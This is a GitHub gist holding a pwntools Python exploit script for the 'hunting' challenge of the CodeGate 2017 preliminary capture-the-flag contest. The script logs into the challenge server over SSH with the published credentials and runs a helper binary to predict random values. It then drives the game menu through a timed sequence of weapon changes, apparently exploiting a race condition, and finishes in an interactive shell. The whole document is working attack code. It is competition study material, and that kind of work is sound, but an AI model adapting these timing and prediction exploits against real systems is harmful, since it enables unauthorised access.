Skip to content

Instantly share code, notes, and snippets.

@junorouse
Last active February 13, 2017 04:09
Show Gist options
  • Save junorouse/2f85d57fc310a9a7b7e722995080914c to your computer and use it in GitHub Desktop.
Save junorouse/2f85d57fc310a9a7b7e722995080914c to your computer and use it in GitHub Desktop.
CodeGate 2017 PreQual hunting exploit
from pwn import *
import time
s = ssh(host="110.10.212.133", user="hunting", port=5556, password="hunting")
rand = ssh(host="110.10.212.133", user="hunting", port=5556, password="hunting")
cnt = 0
r = s.process("./hunting", env = {})
r.recvuntil("choice:")
r2 = rand.process("/tmp/juno1/c")
data = r2.recv()
data = data.split(" ")
key = []
for x in data:
if x == "3":
key.append(3)
elif x == "1":
key.append(3)
elif x == "2":
key.append(2)
elif x == "0":
key.append(1)
print key
print "*"*20
r2.close()
r.sendline("3")
r.recvuntil("choice")
r.sendline("3")
cnt = 0
for i in range(0, 20):
data = r.recvuntil("choice")
if data.find("level:4") != -1:
print "*"*20
print data
print "*"*20
cnt = i
break
r.sendline("2")
r.recvuntil("choice")
r.sendline(str(key[i]))
# change weapon
r.sendline('3')
r.recvuntil("choice")
r.sendline("2")
# do
r.recvuntil("choice")
r.sendline("2")
print r.recvuntil("choice")
r.sendline(str(key[cnt]))
cnt+=1
time.sleep(0.8)
# change weapon
r.recvuntil("choice")
r.sendline('3')
r.recvuntil("choice")
r.sendline("7")
r.recvuntil("choice")
r.sendline("2")
print r.recvuntil("choice")
r.sendline(str(key[cnt]))
time.sleep(2)
# change weapon
r.sendline('3')
r.recvuntil("choice")
r.sendline("2")
# do
r.recvuntil("choice")
r.sendline("2")
print r.recvuntil("choice")
r.sendline(str(key[cnt]))
cnt+=1
time.sleep(0.8)
# change weapon
r.recvuntil("choice")
r.sendline('3')
r.recvuntil("choice")
r.sendline("7")
r.recvuntil("choice")
r.sendline("2")
print r.recvuntil("choice")
r.sendline(str(key[cnt]))
r.interactive()
# do
print r.recvuntil("choice")
r.sendline("2")
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment